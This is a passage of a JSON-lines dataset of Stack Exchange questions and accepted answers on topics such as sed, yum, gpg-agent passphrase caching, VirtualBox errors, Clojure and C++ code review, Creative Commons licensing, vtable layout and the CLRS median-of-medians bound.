printer plugged in a Linux !$ <Ctrl+D>Of course, there are concurrency issues which beyond others solutions could be handled by CUPS configuring the local printer under a spooler.It worked for me !"  } 
{  "id": "_unix.345132"  , "question": "I am looking for the sed command to replace text like this [word1 word2] to nothing.I triedsed -i -e 's/[Word1 Word2]//g'It didn't work and replaced entire my text in disorder way.I would like to request you to help me to replace special characters like these.Thanking you,Punith."  , "title": "SED command to replace [Word1 Word2] to nothing"  , "tags": "linux;sed;regular expression;replace"  } 
{  "id": "_cs.44954"  , "question": "In my theory of computation class last Spring my professor said in passing that a programming language cannot be both fully recursive and polymorphic. I didn't think much of it till now? What does it mean to be fully polymorphic and why does that mean you a language can't be fully recursive?"  , "title": "Why can't a programming language be both fully recursive and polymorphic"  , "tags": "programming languages;recursion;semantics"  } 
{  "id": "_webmaster.42400"  , "question": "Possible Duplicate:Does the Google spider render JavaScript? I'm writing an article that is broken up into sections, where the content of each section is hidden unless the user expands that section. To be more concrete, this is what I am talking about: http://jqueryui.com/accordion/#collapsible. In that example, the text for Section 1 is visible whereas the text for all of the other sections do not appear. My question is, will the text contained in those other sections be accessible to search engines? "  , "title": "Will text that appears dynamically (via javascript/jquery) be indexed by search engines?"  , "tags": "seo;javascript;google search;jquery"  } 
{  "id": "_softwareengineering.50283"  , "question": "I have a personal web project I cut my teeth on learning how to program. I wrote it in PHP and learned as I went. I eventually I re-factored it to use MVC and removed all mixing of php/html.Right now it has no users, save myself, and it makes no money. I have a strong desire to rewrite the entire app. Which really isn't that large of an app.I have a lot of reasons why I should not rewrite it. I know that I should move forward. It's a working app now and it will only set me back to rewrite it. But I can't shake this feeling that I would be better off using a different programming language in the long run. That I'd enjoy it more. That I'd feel comfortable with it. I feel like my one good reason to rewrite my app is that I have a gut feeling that I should.PHP seems like a hack thrown together. I want to use a language that feels more elegant to me. Any feedback you have would be welcome."  , "title": "One good reason for a rewrite"  , "tags": "php;python;javascript;rewrite"  , "accepted_answer": "If your the only user and there are no deadlines or constraints why not rewrite it. It sounds like mainly an academic exercise anyway so you can't really lose."  } 
{  "id": "_cstheory.38087"  , "question": "The Calculus of Constructions is a very simple core functional language with dependent types. Per curry-howard isomorphism, it could, potentially, be very useful for writing programs and proofs. It, though, has a few problems: induction isn't derivable, it isn't possible to prove 0!= 1, and pattern matching on algebraic data structures take linear time. In order to solve those issues, practical languages such as Coq are based on the Calculus of Inductive Constructions instead, which add a layer of primitive datatypes on top of CoC. That, unfortunately, makes the core language very complex.An alternative solution to those problems is a new primitive, self, which is a construction that allows a type to reference its typed term. This construct, together with the Parigot encoding, and a slightly weakened but still useful notion of contradiction, is sufficient to solve the problems above. The proposed language, though, is still somewhat complex. In particular, it has different Pi types, complex kind machinery and requires a restricted form of recursion (for the Parigot encoding).Is it possible to be simpler? I.e., can the calculus of constructions with only self types and nothing else from this paper still be able to derive induction and employ the parigot encoding?                                                                                                                                      "  , "title": "Are there simple core languages which are consistent and expressive?"  , "tags": "type theory;lambda calculus;functional programming"  } 
{  "id": "_cstheory.12929"  , "question": "I want to compute a mixed strategy that will be the Nash Equilibrium of the game.I have used my knowledge in order to create the system for the mixed strategy.I concluded on a system with 3 variables and 5 constrains.I am not able to solve this system using the common Gaussian Elimination method.This system is a linear program from what I can imagine.I have searched google for similar examples but all the examples was on 2-player games with only 2 strategies per player.In those games was quite easy to compute the mixed strategy.I am thinking of using the simplex method for finding the NE but I am thinking that this is weird for such a small game...Are there simpler method that can be used in computing a NE profile?Thank you.  "  , "title": "Compute Nash Equilibrium for 2-player games"  , "tags": "linear programming;gt.game theory"  , "accepted_answer": "We have developed a user-friendly browser-based system to input and solve 2-player strategic-form and extensive-form games:http://www.gametheoryexplorer.org/ (GTE)Currently, we support:finding all equilibria via polyhedral vertex enumeration (which works on the strategic-form representation, which is converted to in the case of extensive-form games; this uses David Avis' lrs http://cgm.cs.mcgill.ca/~avis/C/lrs.htmlW); andfinding one equilibrium using Lemke's algorithm (which works on the strategic-form representation or on the sequence-form representation for extensive-form games).You can use lrs separately offline to solve larger bimatrix games.The GTE project is under active development (supported by the Google Summer of Code in 2011, 2012, and 2014), so please provide feedback and/or let us know if you would like to contribute) atgte@nash.lse.ac.ukFor a paper that covers the basic theory and a number of methods for enumeration of equilibria, see D. Avis, G. Rosenberg, R. Savani , and B. von Stengel (2010).Enumeration of Nash Equilibria for Two-Player Games.Economic Theory 42, 9-37.For a paper that describes GTE and what it can do, seeR. Savani and B. von Stengel (2014).Game Theory Explorer - Software for the Applied Game Theorist.Computational Management Science, 29 pages, to appear. arXiv versionZouzias' answer gives a good description of how to use support enumeration, which works fine for small examples. The methods in the paper above and used in GTE will in general be much quicker than support enumeration for finding extreme equilibria. In addition, GTE will find the complete set of equilibria (which can include convex combinations of extreme equilibria) by finding maximal cliques in a bipartite graph."  } 
{  "id": "_unix.323532"  , "question": "Is there anybody who knows that how to install package using yum on different directory but not in root(/) directory ?Whenever I'm using yum install package-name command by default it is installing package in root(/) directory but i want to install package in different directory.Even rpm -ivh -r /path/path package.rpm doesn't work for me. I'm getting error: open of docker-engine.rpm failed: No such file or directoryThank you. "  , "title": "Yum Install package-name to different directory"  , "tags": "linux;centos;yum"  } 
{  "id": "_codereview.147108"  , "question": "I have made a small script which grabs data into a map from 80 CSV files and calculates some statistics like average, standard deviation etc. It's also adding some additional data to map from filename.Can you please check if it is a correct way to do so? The idea is to get a list of files in the folder using file-seq, map this to function which reads file lazy, while skipping the first line, convert all text to decimals using read-string, multiply all the data by 1e9 and then calculates all the necessary statistics.The script works perfectly. I am just concerned about the right style to write programs in Clojure since I am pretty new to it.Data in CSV files is just numbers in scientific format like 1.721e-9 written in one column.(def data  (map (fn [fsc]     (->> (io/reader fsc)          (line-seq)          (rest)          (map read-string)          (map #(* % 1e9))          ((fn [se]             (let [x se                   x2 (map #(* % %) se)                   n (count se)                   sum-x (reduce + x)                   sum-x2 (reduce + x2)                   average (/ sum-x n)                   variance (-                              (/ sum-x2 n)                              (math/expt average 2))]               (merge {:n n                       :average average                       :variance variance                       :st-dev (math/sqrt variance)                       :st-dev-sample (math/sqrt                                        (/ (* n variance)                                           (- n 1)))}                      (-> (.getName fsc)                          (clojure.string/split #\\s)                          ((partial zipmap [:type :color :voltage :temperature]))                          (#(assoc % :voltage (read-string (re-find #[+-]?\\d+ (% :voltage)))))                          (#(assoc % :temperature (read-string (% :temperature))))                          ))))))) (->> (clojure.java.io/file data)      (file-seq)      (rest))))"  , "title": "Multiple files data processing in Clojure"  , "tags": "csv;clojure;statistics"  , "accepted_answer": "Don't forget about forConsider using for instead of map in places where you use an anonymous function with map.  This particularly applies to the outer-most map, since with map what you are maping over is sort of hanging by itself at the end of the code.(def data  (for [fsc (->> (clojure.java.io/file data)                 (file-seq)                 (rest))))]    (->> ...)))In this case in particular, what you are processing is made more clear with for.Break the code up into (named) functionsIn a similar vein to using for, consider breaking the code up into named functions.  While anonymous functions are obviously sufficient, a good name can bring a lot of clarity to your code.At minimum, I would put functions like #(* % %) inside a let or letfn:(let [square (fn [x]               (* x x)]  ...)But if you think you have a use for the same function in other places, make it a top-level definition:(defn square [x]  (* x x))Consider using fn in favor of #(...)Personally, I eschew the use of #(...) reader syntax to define functions and just use fn instead.  I think the #() syntax was a well-intentioned solution to a largely non-existant problem (verbose anonymous functions), and to the extent anonymous functions are verbose in Lisps, the #() syntax is a poor replacement.  It's barely shorter than an equivalent fn form, arguably more difficult to grok (based on the questions I've seen surrounding it on stackoverflow), and has some fundamental limitations (e.g., can't be nested).Obviously, this is a very subjective view, and certainly not everyone agrees with it.Use comments to add clarityBe sure to use comments to provide high-level descriptions of lower-level operations.  For example, there are a couple places where you use rest to skip the first element in a sequence.  A comment in these places indicating why this element needs to be skipped would go along way.Likewise, consider adding comments for the major blocks of the code -- i.e., high-level descriptions of each of the loops.  Simple one-liners should be sufficient for most of these.  You might want a little more description for the mergeing part, though, since that seems to be the core of the logic."  } 
{  "id": "_softwareengineering.121825"  , "question": "I have learned in Agile Development that:  Refactoring is the process of clarifying and simplifying the design of  existing code, without changing its behavior.I have heard about some GUI refactoring tools like ReSharper and DevExpress Refactor Pro!Here are my questions:    How does it takes place in the Software development process and how far it effects the system?Does Refactoring using these tools really speed up the process of development/maintenance?"  , "title": "Role of Refactoring in good programming pratices?"  , "tags": "development process;refactoring"  , "accepted_answer": "First of all, depending upon the site of refactoring one can distinguish several types of it: code refactoring, database (schema) refactoring, refactoring of unit tests, refactoring of GUI etc.There are several situations where you can meet refactoring during software development:Refactoring is known to be a mandatory step in certain agile development techniques like test-driven development. It is supposed to perform refactoring step after every implementation step. In this case the refactoring targets just the last implementation and its goal is to integrate the new code into the existing code corpus in the most optimal way.Refactoring can be done some internal problems in the working code are detected: this is called code smell. This estimation is in many aspects rather subjective, despite the fact that it can be actually based upon certain code metrics (like number of lines of code per method, cyclomatic complexity of the code etc.). Here the goal of refactoring is to improve the code quality by changing it so that the metrics used for quality estimation return to the expected domain.You often need to refactor the code to achieve certain principles of programming in your code, look for Clean Code development to learn more about such principles.You may need to perform refactoring of your code and database schema to prepare it for coming changes, especially if those were not considered during the design phase of the project. For example data normalization and denormalization take often place during data-driven software development to prepare the database for possible extensions.Refactoring tools available on the market basically support the developer in two ways:While writing your code, you get suggestions how you can improve it on-the-fly. Whereas many fallacies can be detected directly by your IDE, like Visual Studio or Eclipse (for example dead code, variables declared but not used etc.), the refactoring tools like Resharper can reveal problems which are far less evident, like re-writing the loops in LINQ queries etc.These tools also support you with custom refactoring steps, like global renaming of your identifiers, splitting your class declarations into separate properly named files, extracting interfaces and base classes from your class implementation etc. They save a lot of work here, especially if your project has a large code base, but you must first know what you really want to refactor.Actually using tools like ReSharper in everyday's development is so useful that it makes you almost dependent on them: they really accelerate the process of code writing, especially if you know how to use them appropriately!"  } 
{  "id": "_softwareengineering.164810"  , "question": "I've been doing software for a long time, but almost all of it has been back-end centric.I recently decided to learn Swing and tried to apply MVC principles.  I realize that in Swing the View is handled for you by the components you add to the window/frame/panel, and the Controller is your code responding to the events.  However, when it comes to Model I quickly found that I needed TWO models.  One is the back-end model representing the underlying data universe.  That model is completely unaware of the UI and the fact that it's even being displayed.  The second is a version of the model with additional attributes governing display-related aspects.  For example, the project I chose was a tool that cross-references the database instances, schemas and tables in a huge enterprise application containing 140 db instances, several hundred schemas and thousands of tables.  Sometimes when looking at unfamiliar code you have a table name but finding which instance and schema it's in is a chore.The tool displays 3 columns: DB Instance, Schema and Table, and each column contains only unique names. When you click on a table name (for instance) the schema and instance columns get filtered showing where that particular table occurs.  Clicking on a schema name or instance name results in similar filtering behavior on the other two columns.I have a backend model containing a three-level tree (Instance, Schema, Table) but this is inappropriate for the UI I want to display.  So I have a second display-model that is built from the backend model, and backs the three columns.  That is where I store flags indicating which entries are visible based on user input.  The two models are significantly different in structure, and the display-model entries contain references to the backend-model entries. In a sense the display-model entries are adapters that allow the backend-model entries to be handled in a display-appropriate way.I haven't run across any references to this, but my gut feel is that this must be a very common problem.  Has anybody else run into this issue, and what are the accepted UI programming ways to accomplish the objective?"  , "title": "MVC two models required?"  , "tags": "mvc;model"  , "accepted_answer": "This is a fairly common situation and your choice of pattern is very dependant on the circumstance and your personal preference.Where you're not simply writing a CRUD application, you can have a domain model which models the business domain and a view model, specific to the application, for displaying and editing that data. Some would argue that even when the two models look the same, you shouldn't expose your data model directly to the view anyway.Or you can consider the domain to include more than just your data (known as Fat Models), in which case the way that  you access it -- the API exposed to your front-end application -- doesn't have to relate to the way that you store it in any sense.Also have a look at the related pattern called Command-Query Responsibility Segregation. This is based on the theory that the data model you use to manipulate data is almost always different from the data model(s) you use to view the same data. It draws a very distinct line between the two and allows you to develop the two independently."  } 
{  "id": "_unix.317298"  , "question": "I'm seeking to cache passphrases for use on an unattended machine. As doing this poses some risk, I'd prefer choosing which passphrases get cached and avoid setting both default-cache-ttl and max-cache-ttl to obnoxiously high values as well as avoid needing to clear gpg-agent's entire cache periodically - hence I'm looking for a solution with gpg-preset-passphrase. Some of the information I found while troubleshooting refer to older versions of GnuPG so I'm unsure if I have sufficiently accounted for all the differences.First, as prescribed by man 1 gpg-agent, I have export GPG_TTY=$(tty) in my .bashrc.Now suppose I run eval $(gpg-agent --daemon --allow-preset-passphrase --default-cache-ttl 1 --max-cache-ttl 31536000) to start gpg-agent, noting that gpg-preset-passphrase still honors --max-cache-ttl (default 2 hours).I then get the keygrip $KEYGRIP of the desired secret subkey with gpg --with-keygrip -K.With that I try /path/to/gpg-preset-passphrase -c $KEYGRIP. Upon hitting return, this prints:    gpg-preset-passphrase: caching passphrase failed: Not implementedAttempting again adding --verbose --debug 6 --log-file /path/to/gpg-agent.log to gpg-agent, my log is appended with   gpg-agent[4206] listening on socket /run/user/1000/gnupg/S.gpg-agent   gpg-agent[4207] gpg-agent (GnuPG) 2.1.15 started   gpg-agent[4207] handler 0x7f86ef783700 for fd 5 started   gpg-agent[4207] command PRESET_PASSPHRASE failed: Not implemented   gpg-agent[4207] handler 0x7f86ef783700 for fd 5 terminatedI'm unsure where to proceed from this apart from diving deeper into the source, so I'm wondering if anyone can first correct the steps I'm taking."  , "title": "What are the steps needed to cache passphrases entered via pinentry using gpg-preset-passphrase in 2.1.15?"  , "tags": "gpg;gpg agent"  } 
{  "id": "_reverseengineering.12609"  , "question": "meanwhile, I am learning more and more how to reverse engineer. Ive figured out tons of stuff already, but I came to the point, where I just need some little explanation whats going on in the constructor of a specific class.I know, that this specific class (Class A) inherits 3 other Classes (lets say: class B, class C, class D).Class A calls the constructors of B,C,D. Everything up to here is clear for me. But:Class D has a method addListener which points to an attribute (this + 0x34).(this + 0x34) is assigned in the constructor to a address..int A::A(void *someObject) {    B::B();    C::C();    *this = 0x1f18e8;    *(this + 0x28) = 0x1f190c;         // whats going here?    *(this + 0x34) = 0x1f193c;         // and here?    // Ive seen, that those addressees are inside of the vtable of Class A    //     //     __ZTV12A:        // vtable for A    // ...    // 001f18e8         db  0xc6    // 001f193c         db  0xb0    // 001f190c         db  0xba    // ...    D::D();    // Some other attributes, but these are clear for me (just     // have to name them right, by figuring out where these attributes are used):    *(this + 0x38) = someObject;    *(this + 0x3c) = 0x0;    *(this + 0x50) = 0x0;    *(this + 0x54) = 0x0;    *(this + 0x40) = 0xffffffff;    *(this + 0x44) = 0xffffffff;    *(this + 0x48) = 0xffffffff;    *(this + 0x4c) = 0x0;    D::addListener(this + 0x34);}Am I right with my conclusion, that D::addListener() adds the class it self to the listener?In fact I just want to figure out what kind of object is added to the listener:    D::addListener(this + 0x34);I hope my question is clear enough :)"  , "title": "Whats going on in this Class Constructor?"  , "tags": "disassembly;x86;c++;address;pointer"  , "accepted_answer": "Your question is a bit unclear as you first say Class C has a method addListerner which points to an attribute (this + 0x34)., then D::addListener(this + 0x34);. Typo?Also, you should read about (typical) implementations of multiple inheritance. Assume your classes B, C, D have methods b, c, d respectively. A will inherit all of them. Now, if A does not override these methods, and anything calls them, they have to be delegated to the correct superclass - the original methods. But these original methods will expect a class layout that corresponds to the original classes. Which means, A needs to embed all 3 classes into itself.Which means A will be laid out like this:+-----+-------------------+|  00 | vtable of A       |+-----+-------------------+|  04 | member 1 of A     ||  08 | member 2 of A     ||     | ...               |+-----+-------------------+|  28 | vtable of B       |+-----+-------------------+|  2c | member 1 of B     ||  30 | member 2 of B     ||     | ...               |+-----+-------------------+|  34 | vtable of C       |+-----+-------------------+|  38 | member 1 of C     ||  3c | member 2 of C     ||     | ...               |+-----+-------------------+|  ?? | vtable of D       |+-----+-------------------+|  ?? | member 1 of D     ||  ?? | member 2 of D     ||     | ...               |+-----+-------------------+So, yes, your conclusion is correct: D::addListener() adds the class itself to the listener. But because D::addListener() expects a D, not an A, the thing that's passed isn't the complete A, it's just the part of A that makes D. To make this look exactly like a D, it needs its own vtable that looks like a D vtable.But of course, parts of these vtables can be shared. A needs all methods in its vtable, so the vtable pointers of the partial classes B, C and D can point to the appropriate part of the As vtable, they don't need their complete own copies.As to your what's going on here questions - these initialize the vtables of the partial classes. (In your assembly listing, you should treat those addresses as arrays of words, not bytes). What i wonder is why there's only 3 of them, there should be 4 for A, B, C and D. Something seems to be confused or omitted here, just like you said Class C has first, then used D::addListener."  } 
{  "id": "_datascience.16413"  , "question": "I'm following along the NLTK book and would like to change the size of the axes in a lexical dispersion plot:import nltkfrom nltk.corpus import inauguralcfd = nltk.ConditionalFreqDist(            (target, fileid[:4]) # [:4] slices only the years of the speeches            for fileid in inaugural.fileids()            for word in inaugural.words(fileid)            for target in [liberty, equality, brotherhood]            if word.lower().startswith(target))Because it gets very crowded otherwise:cfd.plot(title=French ideals in US-American speeches through time)the __doc__ doesn't seem to mention it:print(cfd.plot.__doc__)        Plot the given samples from the conditional frequency distribution.        For a cumulative plot, specify cumulative=True.        (Requires Matplotlib to be installed.)        :param samples: The samples to plot        :type samples: list        :param title: The title for the graph        :type title: str        :param conditions: The conditions to plot (default is all)        :type conditions: listAnd I think there is nothing on it in the NLTK documentation, but also not in the matplotlib documentation (where I figured the plot functionality comes from): http://www.nltk.org/py-modindex.html#cap-phttp://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.plot(sorry for the code-block links, I'm new here and can't post more than 2 links but still felt like making it easier for someone reading this :)I'd be glad if someone could point me into the right direction! Thanks!"  , "title": "How to change plot size in nltk.plot()"  , "tags": "python;nlp;nltk;jupyter;ipython"  } 
{  "id": "_softwareengineering.266630"  , "question": "I think this question is specific to indie developers be concerned about. Think about it as a license clarification or a license practical use case.I need to know how must be my project basic packages structure and how can I distribute it?I am an app developer, I have no site yet, I will just create the code (package (B) will be my placeholder assets I manage to create with my very limited skills, or assets I could buy later to let my project have some unique visual/sfx/music features, if it does not conflict with package (C) in any way that could cause me trouble).I thought:A) a binary proprietary executables application package (no source distribution).B) a media/assets package of proprietary media (could be packed together with (A)).C) a media/assets package of CC content.  The problem about package (C) is:Is CC-0 the only CC content I can be tranquil about? I will have to redistribute it at least as CC-BY package according to this: if-i-create-a-collection-that-includes-a-work-offered-under-a-cc-license-which-licenses-may-i-choose-for-the-collection How ok is to use CC-BY and CC-BY-SA content on package (C)? As I read, any CC-BY-SA, at least, interfere with screenshots, videos and any other promoting media (but that promoting media is not too much troublesome to me at least, unless I create cut-scenes with my own project). Does any CC-BY-SA content affect package (A) or (B) in any way other than specified at (2)? So (A) or (B) would have to fall under some CC license?Does this CC-BY-SA clause For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image (synching) will be considered an Adaptation for the purpose of this License. will force me to freely distribute my project as open source about the synchronization code part of my project engine (or even the full source code)? considering the project may be seen as a performance.The package (C) may be required for the application to run, so, in this case of unbreakable dependency, will it affect the application license in any way? Also, in case I am able to make the application run without it, would the application still be affected by it?May I distribute package (C) together with my application solely, and later on, users (who bought it) may redistribute package (C) freely and even publish it on sites that redistribute CC content? Or am I forced to promptly make that package freely available on my site (or at the site that will sell it) and/or on some other site? Or can I only distribute it from some other site and only link to it from my site?PS.: License code excerpts confirming the answer are mostly appreciated! I've been trying to read and understand it all, but it is surely not easy to me... Other granted sources of information like FAQs or another kind, may be good enough too (as they usually refer to the license code trying to make it more easy to understand).PS.2: to anyone interested, some interesting common sense notions to be aware about public domain media: http://pixabay.com/en/blog/posts/public-domain-images-what-is-allowed-and-what-is-4/"  , "title": "How do CC licenses (0, BY, BY-SA) affect proprietary/closed source applications?"  , "tags": "licensing;creative commons"  } 
{  "id": "_codereview.95614"  , "question": "I wanted to be able to tokenize a few different containers so I created a generic way to do it. I originally wrote this in Visual Studio 2012, but I had to modify it to get it to compile on Ideone.Here is a brief description of my tokenizer functions:Tokenize (): Tokenizes a container based on a single delimiter.TokenizeIf (): Tokenizes a container based on a single delimiter and a condition.BackInsertTokenize () and BackInsertTokenizeIf (): Wrapper for containers that can use a std::back_inserter iterator.A specialized BackInsertTokenize () for character types (char, wchar, etc).Here are my generic tokenizer functions:#include <algorithm>#include <iterator>#include <string>#include <utility>template <typename Token, typename Iter, typename OutIter, typename Condition>auto TokenizeIf (Iter begin, Iter end, OutIter out, typename std::iterator_traits <Iter>::value_type delimiter, Condition condition) -> OutIter{    if (begin == end) {        return out ;    }    auto current = begin ;    auto next = begin ;    do {        next = std::find (current, end, delimiter) ;        Token token (current, next) ;        if (condition (token) == true) {            *out++ = std::move (token) ;        }        current = next ;    } while (next != end && ++current != end) ;    if (next != end) {        Token token ;        if (condition (token) == true) {            *out++ = std::move (token) ;        }    }    return out ;};template <typename Token, typename Iter, typename OutIter>auto Tokenize (Iter begin, Iter end, OutIter out, typename std::iterator_traits <Iter>::value_type delimiter) -> OutIter{    if (begin == end) {        return out ;    }    auto current = begin ;    auto next = begin ;    do {        next = std::find (current, end, delimiter) ;        *out++ = Token (current, next) ;        current = next ;    } while (next != end && ++current != end) ;    if (next != end) {        *out++ = Token () ;    }    return out ;};template <class ContainerOut, class ContainerIn, class Condition>auto BackInsertTokenizeIf (ContainerIn const &in, typename ContainerIn::value_type delimiter, Condition condition) -> ContainerOut{    typedef typename ContainerOut::value_type Token ;    ContainerOut out ;    TokenizeIf <Token> (std::begin (in), std::end (in), std::back_inserter (out), delimiter, condition) ;    return out ;}template <class ContainerOut, class ContainerIn>auto BackInsertTokenize (ContainerIn const &in, typename ContainerIn::value_type delimiter) -> ContainerOut{    typedef typename ContainerOut::value_type Token ;    ContainerOut out ;    Tokenize <Token> (std::begin (in), std::end (in), std::back_inserter (out), delimiter) ;    return out ;}template <class ContainerOut, class CharT>auto BackInsertTokenize (const CharT *in, CharT delimiter) -> ContainerOut{    typedef typename ContainerOut::value_type Token ;    ContainerOut out ;    Tokenize <Token> (in, in + std::char_traits<CharT>::length (in), std::back_inserter (out), delimiter) ;    return out ;}These are the test cases that I was interested in:#include <vector>int main (){    std::string const s1 = ,hello,5,cat,192.3, ;    auto const t1 = BackInsertTokenize <std::vector <std::string>> (s1, ',') ;    std::vector <char> v1 = {'S', '1', '\\0', 'S', '2', 'I', 'N', '\\0', 'S', '3', '\\0', '\\0'} ;    auto const t2 = BackInsertTokenizeIf <std::vector <std::string>> (v1, '\\0', [] (const std::string &s) {        return !s.empty () ;    }) ;    auto const t3 = BackInsertTokenize <std::vector <std::string>> (C:\\\\Some\\\\Path\\\\To\\\\Nowhere, '\\\\') ;    return 0 ;}"  , "title": "Templated Tokenizer Functions"  , "tags": "c++;parsing"  , "accepted_answer": "The code generally looks good to me.  It is clear, complete and working.  The naming and formatting are clear and consistent (although I prefer to read code that does not have the space before each statement-terminating semicolon) but I did see a few things that may help you improve your code.Consider using {} style initializersThere are a few places where  a Token is constructed, such as this:Token token (current, next_) ;However, this might be misconstrued as a function call. Assuming that you're using C++11 or better, it may be worth considering using the {} style for the constructor:Token token {current, next} ;This can't be misconstrued as a function call and may be slightly less ambiguous.Consider alternative usageThe code works well for the use cases you've said you're interested in addressing.  That's good, and it may be all you ever need, but when I first saw the code, I thought it might be useful to be able to use it like this:std::string const s2 = 55,33,1,7,42;auto const t4 = BackInsertTokenize <std::vector <int>> (s2, ',') ;The intent was to create a vector of integers from the const string, but this code doesn't actually compile.  The problem is essentially this line:*out++ = Token (current, next) ;That works fine for any Token type that can be constructed from an iterator range like this, but not for a primitive type like int.  One way to address that might be to provide another template that additionally takes an operator to explicitly perform this conversion with the given types.Omit return 0When a C++ program reaches the end of main the compiler will automatically generate code to return 0, so there is no reason to put return 0; explicitly at the end of main."  } 
{  "id": "_unix.365909"  , "question": "I want a CentOS 6.6 environment to build release. But, Linode does not provide CentOS 6.6 image. So I tried to install virtualbox on Ubuntu 16.04 .The virtualbox installation does not work. The error message isLoading new virtualbox-5.0.40 DKMS files...First Installation: checking all kernels...dpkg: warning: version '4.9.15-x86_64' has bad syntax: invalid character in revision numberdpkg: warning: version '4.9.15-x86_64' has bad syntax: invalid character in revision numberIt is likely that 4.9.15-x86_64-linode81 belongs to a chroot's hostModule build for the currently running kernel was skipped since thekernel source for this kernel does not seem to be installed.Job for virtualbox.service failed because the control process exited with error code. See systemctl status virtualbox.service and journalctl -xe for details.invoke-rc.d: initscript virtualbox, action restart failed. virtualbox.service - LSB: VirtualBox Linux kernel module   Loaded: loaded (/etc/init.d/virtualbox; bad; vendor preset: enabled)   Active: failed (Result: exit-code) since Thu 2017-05-18 17:03:22 UTC; 5ms ago     Docs: man:systemd-sysv-generator(8)  Process: 29436 ExecStart=/etc/init.d/virtualbox start (code=exited, status=1/FAILURE)May 18 17:03:22 localhost systemd[1]: Starting LSB: VirtualBox Linux kernel module...May 18 17:03:22 localhost virtualbox[29436]:  * Loading VirtualBox kernel modules...May 18 17:03:22 localhost virtualbox[29436]:  * No suitable module for running kernel foundMay 18 17:03:22 localhost virtualbox[29436]:    ...fail!May 18 17:03:22 localhost systemd[1]: virtualbox.service: Control process exited, code=exited status=1May 18 17:03:22 localhost systemd[1]: Failed to start LSB: VirtualBox Linux kernel module.May 18 17:03:22 localhost systemd[1]: virtualbox.service: Unit entered failed state.May 18 17:03:22 localhost systemd[1]: virtualbox.service: Failed with result 'exit-code'.Setting up virtualbox (5.0.40-dfsg-0ubuntu1.16.04.1) ...vboxweb.service is a disabled or a static unit, not starting it.Job for virtualbox.service failed because the control process exited with error code. See systemctl status virtualbox.service and journalctl -xe for details.invoke-rc.d: initscript virtualbox, action restart failed. virtualbox.service - LSB: VirtualBox Linux kernel module   Loaded: loaded (/etc/init.d/virtualbox; bad; vendor preset: enabled)   Active: failed (Result: exit-code) since Thu 2017-05-18 17:03:24 UTC; 7ms ago     Docs: man:systemd-sysv-generator(8)  Process: 29550 ExecStart=/etc/init.d/virtualbox start (code=exited, status=1/FAILURE)May 18 17:03:24 localhost systemd[1]: Starting LSB: VirtualBox Linux kernel module...May 18 17:03:24 localhost virtualbox[29550]:  * Loading VirtualBox kernel modules...May 18 17:03:24 localhost virtualbox[29550]:  * No suitable module for running kernel foundMay 18 17:03:24 localhost virtualbox[29550]:    ...fail!May 18 17:03:24 localhost systemd[1]: virtualbox.service: Control process exited, code=exited status=1May 18 17:03:24 localhost systemd[1]: Failed to start LSB: VirtualBox Linux kernel module.May 18 17:03:24 localhost systemd[1]: virtualbox.service: Unit entered failed state.May 18 17:03:24 localhost systemd[1]: virtualbox.service: Failed with result 'exit-code'.Setting up virtualbox-qt (5.0.40-dfsg-0ubuntu1.16.04.1) ..."  , "title": "install virtualbox on Linode failed"  , "tags": "virtualbox"  } 
{  "id": "_cs.19542"  , "question": "Short version: I want to know where the $-2$ comes from in the formula on p. 221 of CLRS 3rd edition.Long version: CLRS (3rd ed.) give an algorithm for $O(n)$ worst case arbitrary order statistic of $n$ distinct numbers.  The algorithm is roughly:Input: an array of $n$ elements and $i$, the number of the order statistic to return from the elements.Divide the $n$ elements into $\\lfloor n/5 \\rfloor$ groups of 5 elements each along with an optional group containing $n\\mod{5}$ elements (resulting in $\\lceil n/5 \\rceil$ groups.)Find the median of each of the groups by sorting.Recurse, using the $\\lceil n/5 \\rceil$ medians as the array and $\\lfloor\\lceil n/5 \\rceil/2\\rfloor$ as the order statistic, resulting in the median-of-medians.Partition the $n$ elements around the median-of-medians (using a quicksort-like $O(n)$ partitioning algorithm.Letting $k-1$ be the number of elements less than the median-of-medians, if $i = k$, return the median-of-medians.  Otherwise recurse: if $i < k$ then recurse finding the $i$th order statistic of the $k-1$ elements less than the median-of-medians; if $i > k$,  then recurse finding the $i-k$th order statistic of the $n-k$ elements greater than the median-of-medians.Output: the $i$th order statistic of the $n$ numbers.In the proof of the runtime, CLRS argue that the number of elements greater than the median-of-medians is at least:$$3 \\bigg(\\bigg\\lceil  \\frac{1}2 \\bigg\\lceil{\\frac{n}5} \\bigg\\rceil \\bigg\\rceil - 2\\bigg)$$The reasoning is that half of the medians are greater than the median-of-medians, and each of those medians' groups has at least three elements greater than the median-of-medians (the median itself plus the two elements greater than the median.)  That would result in $$3 \\bigg(\\bigg\\lceil  \\frac{1}2 \\bigg\\lceil{\\frac{n}5} \\bigg\\rceil \\bigg\\rceil\\bigg)$$for the lower bound on the number of elements greater than the median-of-medians.  But we must account for two things: the group containing the median-of-medians (the median-of-medians is not greater than itself) and the group that contains the modulo leftovers.  To account for the group containing the median-of-medians, we subtract 1, resulting in:$$3 \\bigg(\\bigg\\lceil  \\frac{1}2 \\bigg\\lceil{\\frac{n}5} \\bigg\\rceil \\bigg\\rceil\\bigg) - 1$$and I think that for the modulo leftovers group, we should subtract 4, because the least number of elements in the group is 1.  So that would give:$$3 \\bigg(\\bigg\\lceil  \\frac{1}2 \\bigg\\lceil{\\frac{n}5} \\bigg\\rceil \\bigg\\rceil\\bigg) - 5$$which can be transformed into $$3 \\bigg(\\bigg\\lceil  \\frac{1}2 \\bigg\\lceil{\\frac{n}5} \\bigg\\rceil \\bigg\\rceil - 2\\bigg) + 1$$Why does my analysis lead to a lower-bound 1 greater than that given in CLRS?"  , "title": "Counting elements that are greater than the median of medians"  , "tags": "algorithm analysis;combinatorics;discrete mathematics"  , "accepted_answer": "In$$3 \\bigg(\\bigg\\lceil  \\frac{1}2 \\bigg\\lceil{\\frac{n}5} \\bigg\\rceil \\bigg\\rceil - 2\\bigg)$$we are subtracting 2 in order to discard the group containing the median of medians and the group of leftovers. So, 2 is the number of groups we are discarding.First of all, note that there may not be a group of leftover elements: if $n$ is an exact multiple of 5 there will be no leftover group. We are interested in bounding from below the number of elements greater than the median-of-medians in the worst case, so suppose that a leftover group exists. Therefore, it will contain  at least an element and no more than 4 elements. If you want to reason in terms of elements to be discarded and not in terms of groups, then we must discard exactly 3 elements for the group containing the median of medians (including the median of the medians), and at most 2 element from the leftovers group (if this group contains 1 or 2 elements you do not discard any element; if this group contains 3 or 4 elements, then you discard respectively 1 or 2 elements which are 